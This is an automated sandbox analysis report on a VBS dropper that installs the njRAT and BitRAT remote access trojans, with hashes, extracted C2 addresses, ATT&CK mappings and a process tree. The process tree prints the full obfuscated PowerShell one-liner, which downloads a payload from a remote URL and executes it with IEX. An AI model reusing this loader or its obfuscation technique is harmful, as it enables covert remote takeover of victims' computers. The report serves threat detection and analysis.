bitrat | 03674af9c28f5702955756f95a9173954188deb1d4f14b0bc8f0457e9383d6db

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
29-12-2023 21:01

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General

Target

03e4a5b246180743a15aabbe28f2acb5.vbs
Size

1KB
MD5

03e4a5b246180743a15aabbe28f2acb5
SHA1

36caf7a27c4eb6c30557737ea50b8e47e32e07a9
SHA256

03674af9c28f5702955756f95a9173954188deb1d4f14b0bc8f0457e9383d6db
SHA512

3cd8706b9105cd1a71d95142eb62df9f39601a7752648ce47583d1b8715f89c0d839e161730ef1d77becb7b9f0edae6ff353394046fa7e9901f9e06bbf291996

Score

10^/10

bitrat njrat hacked persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ia601506.us.archive.org/27/items/bypass_202108/bypass.txt

Extracted

Family

njrat

Version

v4.0

Botnet

HacKed

13.77.222.211:7827

Mutex

Windows

Attributes

reg_key
Windows
splitter
|-F-|

Extracted

Family

bitrat

Version

1.38

20.194.35.6:7904

Attributes

communication_password
202cb962ac59075b964b07152d234b70
install_dir
Appdata
install_file
Google.exe
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	1940	powershell.exe
26	1940	powershell.exe
41	1940	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	WScript.exe

UPX packed file 20 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3032-29-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-28-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-30-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-32-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-31-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-37-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-39-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-40-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-41-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-43-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-44-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-45-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-42-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-51-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-53-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-52-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-56-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-57-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-59-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3032-60-0x0000000000400000-0x00000000007E4000-memory.dmp	upx

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Google = "C:\\Users\\Admin\\AppData\\Local\\Appdata\\Google.exe먀"	aspnet_compiler.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Google = "C:\\Users\\Admin\\AppData\\Local\\Appdata\\Google.exe"	aspnet_compiler.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Google = "C:\\Users\\Admin\\AppData\\Local\\Appdata\\Google.exe\uff00"	aspnet_compiler.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
3032	aspnet_compiler.exe
3032	aspnet_compiler.exe
3032	aspnet_compiler.exe
3032	aspnet_compiler.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1940 set thread context of 5168	1940	powershell.exe	98
PID 1940 set thread context of 3032	1940	powershell.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1940	powershell.exe
1940	powershell.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeShutdownPrivilege	3032	aspnet_compiler.exe
Token: SeDebugPrivilege	5168	aspnet_compiler.exe
Token: 33	5168	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5168	aspnet_compiler.exe
Token: 33	5168	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5168	aspnet_compiler.exe
Token: 33	5168	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5168	aspnet_compiler.exe
Token: 33	5168	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5168	aspnet_compiler.exe
Token: 33	5168	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5168	aspnet_compiler.exe
Token: 33	5168	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5168	aspnet_compiler.exe
Token: 33	5168	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5168	aspnet_compiler.exe
Token: 33	5168	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5168	aspnet_compiler.exe
Token: 33	5168	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5168	aspnet_compiler.exe
Token: 33	5168	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5168	aspnet_compiler.exe
Token: 33	5168	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5168	aspnet_compiler.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3032	aspnet_compiler.exe
3032	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 1940	4076	WScript.exe	88
PID 4076 wrote to memory of 1940	4076	WScript.exe	88
PID 1940 wrote to memory of 5168	1940	powershell.exe	98
PID 1940 wrote to memory of 5168	1940	powershell.exe	98
PID 1940 wrote to memory of 5168	1940	powershell.exe	98
PID 1940 wrote to memory of 5168	1940	powershell.exe	98
PID 1940 wrote to memory of 5168	1940	powershell.exe	98
PID 1940 wrote to memory of 5168	1940	powershell.exe	98
PID 1940 wrote to memory of 5168	1940	powershell.exe	98
PID 1940 wrote to memory of 5168	1940	powershell.exe	98
PID 1940 wrote to memory of 3032	1940	powershell.exe	99
PID 1940 wrote to memory of 3032	1940	powershell.exe	99
PID 1940 wrote to memory of 3032	1940	powershell.exe	99
PID 1940 wrote to memory of 3032	1940	powershell.exe	99
PID 1940 wrote to memory of 3032	1940	powershell.exe	99
PID 1940 wrote to memory of 3032	1940	powershell.exe	99
PID 1940 wrote to memory of 3032	1940	powershell.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\03e4a5b246180743a15aabbe28f2acb5.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='https://ia601506.us.archive.org/27/items/bypass_202108/bypass.txt';$B ='ETH COINt.WTF COINlIOSNT'.RePlace('ETH COIN','nE').RepLace('TF COIN','EbC').RepLace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.RepLace('S COIN ','Wn').RepLace('SO','oaD').RepLace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.RepLace('os COIN','X(n`e').RepLace('BTC COIN','-Ob').RepLace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5168
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ohecfmss.knf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1940-15-0x00007FFE7D750000-0x00007FFE7E211000-memory.dmp

Filesize
10.8MB

Download
memory/1940-16-0x0000028FDBFF0000-0x0000028FDC000000-memory.dmp

Filesize
64KB

Download
memory/1940-11-0x0000028FDBFF0000-0x0000028FDC000000-memory.dmp

Filesize
64KB

Download
memory/1940-12-0x0000028FDBFF0000-0x0000028FDC000000-memory.dmp

Filesize
64KB

Download
memory/1940-13-0x0000028FDBFF0000-0x0000028FDC000000-memory.dmp

Filesize
64KB

Download
memory/1940-27-0x0000028FDC020000-0x0000028FDC036000-memory.dmp

Filesize
88KB

Download
memory/1940-17-0x0000028FDBFF0000-0x0000028FDC000000-memory.dmp

Filesize
64KB

Download
memory/1940-10-0x00007FFE7D750000-0x00007FFE7E211000-memory.dmp

Filesize
10.8MB

Download
memory/1940-18-0x0000028FDBFF0000-0x0000028FDC000000-memory.dmp

Filesize
64KB

Download
memory/1940-19-0x0000028FDBFE0000-0x0000028FDBFF6000-memory.dmp

Filesize
88KB

Download
memory/1940-20-0x0000028FDBFF0000-0x0000028FDC000000-memory.dmp

Filesize
64KB

Download
memory/1940-1-0x0000028FDC030000-0x0000028FDC052000-memory.dmp

Filesize
136KB

Download
memory/1940-36-0x00007FFE7D750000-0x00007FFE7E211000-memory.dmp

Filesize
10.8MB

Download
memory/1940-33-0x0000028FF6AE0000-0x0000028FF6AF6000-memory.dmp

Filesize
88KB

Download
memory/3032-32-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-41-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-28-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-30-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-59-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-53-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-31-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-60-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-61-0x0000000070920000-0x0000000070959000-memory.dmp

Filesize
228KB

Download
memory/3032-37-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-38-0x00000000715B0000-0x00000000715E9000-memory.dmp

Filesize
228KB

Download
memory/3032-39-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-40-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-29-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-43-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-44-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-45-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-46-0x0000000071270000-0x00000000712A9000-memory.dmp

Filesize
228KB

Download
memory/3032-42-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-58-0x0000000070920000-0x0000000070959000-memory.dmp

Filesize
228KB

Download
memory/3032-57-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-56-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-52-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-51-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3032-54-0x0000000070920000-0x0000000070959000-memory.dmp

Filesize
228KB

Download
memory/5168-21-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/5168-50-0x00000000749E0000-0x0000000075190000-memory.dmp

Filesize
7.7MB

Download
memory/5168-55-0x0000000005C70000-0x0000000005C80000-memory.dmp

Filesize
64KB

Download
memory/5168-49-0x0000000005CF0000-0x0000000005CFA000-memory.dmp

Filesize
40KB

Download
memory/5168-48-0x0000000005D20000-0x0000000005DB2000-memory.dmp

Filesize
584KB

Download
memory/5168-47-0x0000000005C70000-0x0000000005C80000-memory.dmp

Filesize
64KB

Download
memory/5168-26-0x0000000006230000-0x00000000067D4000-memory.dmp

Filesize
5.6MB

Download
memory/5168-23-0x0000000005590000-0x000000000562C000-memory.dmp

Filesize
624KB

Download
memory/5168-22-0x00000000749E0000-0x0000000075190000-memory.dmp

Filesize
7.7MB

Download